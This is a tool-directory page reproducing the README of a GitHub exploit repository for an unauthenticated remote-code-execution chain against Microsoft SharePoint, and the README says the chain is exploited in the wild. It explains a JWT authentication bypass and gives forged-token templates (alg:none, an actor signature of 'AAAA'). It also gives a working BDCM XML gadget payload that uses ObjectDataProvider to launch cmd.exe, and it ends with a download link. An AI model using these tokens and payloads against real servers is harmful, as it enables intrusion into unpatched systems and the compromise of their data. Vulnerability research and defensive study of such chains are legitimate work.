Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63520 — Exploit chain for unauthenticated RCE on Microsoft SharePoint, combining a JWT authentication bypass with unsafe .NET type instantiation to achieve code execution as the service account. | Kitploit
Tools/GitHubGitHub/hypnguyen1209/cve-2026-63520
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed TeamingPayload Development
GitHubhypnguyen1209/cve-2026-63520

CVE-2026-63520

Exploit chain for unauthenticated RCE on Microsoft SharePoint, combining a JWT authentication bypass with unsafe .NET type instantiation to achieve code execution as the service account.

11431 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2026-63520 Sharepoint unsafe type RCE + CVE-2026-55040 chain

Unauthenticated RCE on Microsoft SharePoint Server. No credentials needed.

Stephen Fewer (Rapid7) demonstrated CVE-2026-55040 at Pwn2Own Berlin 2026. Rapid7 then discovered CVE-2026-63520 during follow-up research, and VulnCheck independently found an alternative gadget chain. Together, these two bugs give you unauthenticated remote code execution against any unpatched SharePoint on the internet.

CISA issued alerts within hours of the PoC dropping. It's being exploited in the wild.

What it does

Two bugs, one chain:

CVETypeCVSSWhat breaks
CVE-2026-55040JWT Authentication Bypass9.1SharePoint's S2S token validation has four independent weaknesses. Chain them and you forge a valid JWT for any user - including site admins - without knowing their password.
CVE-2026-63520Unsafe .NET Type Instantiation → RCE8.1Business Data Connectivity (BDC) resolves arbitrary .NET type names from uploaded XML without any allowlist. Point it at ObjectDataProvider and you get Process.Start().

Neither bug is interesting alone. CVE-2026-63520 requires authentication. CVE-2026-55040 gives you authentication. Together: unauthenticated RCE as the SharePoint service account.

Bug 1: The JWT bypass (CVE-2026-55040)

SharePoint uses nested JWTs for server-to-server (S2S) auth. An outer token carries the user identity, an inner "actor token" represents the calling application. Four weaknesses in SPJsonWebSecurityTokenHandlerV2.ValidateToken() make the whole thing collapse:

Weakness 1 - Signature verification is off. The validator sets RequireSignedTokens = false. The outer token accepts alg: none. No signature needed.

Weakness 2 - x5t resolution without verification. The actor token's signing key is resolved by looking up the x5t (certificate thumbprint) header in the certificate store. SharePoint never checks whether the actor token's signature actually matches that key.

Weakness 3 - Issuer validation accepts unknown certs. ValidateIssuer() passes if the signing certificate isn't in the TrustedSecurityTokenServices collection. SharePoint's own STS cert isn't registered there. So referencing it via x5t passes issuer validation unconditionally.

Weakness 4 - Non-cryptographic signature check. GetTokenSignature() requires a non-empty string but does zero cryptographic validation. Any value works. AAAA works.

The STS certificate is public. You grab it from /_layouts/15/metadata/json/1 - an unauthenticated endpoint - compute the SHA-1 thumbprint, and you have everything you need.

What the forged token looks like

Outer token (carries user identity):

// Header
{"alg": "none", "typ": "JWT"}

// Payload
{
  "aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "<target SID or UPN>",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "<inner JWT>"
}
// Signature: empty (alg:none)

Inner actor token (represents the "application"):

// Header
{"alg": "RS256", "typ": "JWT", "x5t": "<STS cert thumbprint>"}

// Payload
{
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nbf": 1756000000,
  "exp": 1756003600
}
// Signature: "AAAA" (literally anything non-empty)

Three ways to pick an identity:

ModenameidniiWhat you need
SIDS-1-5-21-...-1605urn:office:idp:activedirectoryDomain SID (via SMB null session) + RID brute
UPNupn_bypass + upn claimurn:office:idp:activedirectoryA valid UPN (e.g. [email protected])
AccessToken0#.w|nt authority\local serviceAccessTokenNothing. Limited access but enough for some chains.

Bug 2: The RCE (CVE-2026-63520)

SharePoint's Business Data Connectivity service lets admins define external data sources through BDC Model XML files (.bdcm). These models specify .NET types that BDC instantiates at runtime.

The problem is in DbTypeReflector.ResolveDotNetType():

// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
    return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true);  // any type in the GAC

Type names under 15 characters go through a safe resolver. Anything longer calls Type.GetType() directly - which resolves any assembly-qualified type name from the Global Assembly Cache. No allowlist. No blocklist. The attacker controls abstractTypeName through the BDCM XML.

The gadget chain

We use System.Windows.Data.ObjectDataProvider from PresentationFramework. When you set its ObjectInstance property, it invokes MethodName on that instance. Set MethodName = "Start" and ObjectInstance = System.Diagnostics.Process with a crafted StartInfo, and BDC's property-setter reflection does the rest:

ObjectDataProvider created
  → MethodName = "Start"
  → ObjectInstance = Process
    → StartInfo.FileName = "cmd.exe"
    → StartInfo.Arguments = "/c <payload>"
    → StartInfo.UseShellExecute = false
    → StartInfo.CreateNoWindow = true
  → property setter triggers QueryWorker()
    → BeginQuery() → InvokeMethodOnInstance()
      → Type.InvokeMember("Start") → Process.Start()

The BDCM XML that carries this:

<TypeDescriptor Name="ReturnRoot"
  TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework, 
    Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
  <TypeDescriptors>
    <TypeDescriptor Name="MethodName" TypeName="System.String">
      <DefaultValues>
        <DefaultValue ...>Start</DefaultValue>
      </DefaultValues>
    </TypeDescriptor>
    <TypeDescriptor Name="ObjectInstance"
      TypeName="System.Diagnostics.Process, System, ...">
      <TypeDescriptor Name="StartInfo"
        TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
        <TypeDescriptor Name="FileName" TypeName="System.String">
          <DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
        </TypeDescriptor>
        <TypeDescriptor Name="Arguments" TypeName="System.String">
          <DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
        </TypeDescriptor>
      </TypeDescriptor>
    </TypeDescriptor>
  </TypeDescriptors>
</TypeDescriptor>

VulnCheck documented an alternative chain using System.Web.UI.LosFormatter with TypeConfuseDelegate deserialization via a DotNetAssembly LobSystem. Multiple gadgets work - the underlying primitive is unrestricted type instantiation.

Full attack flow

Download Tool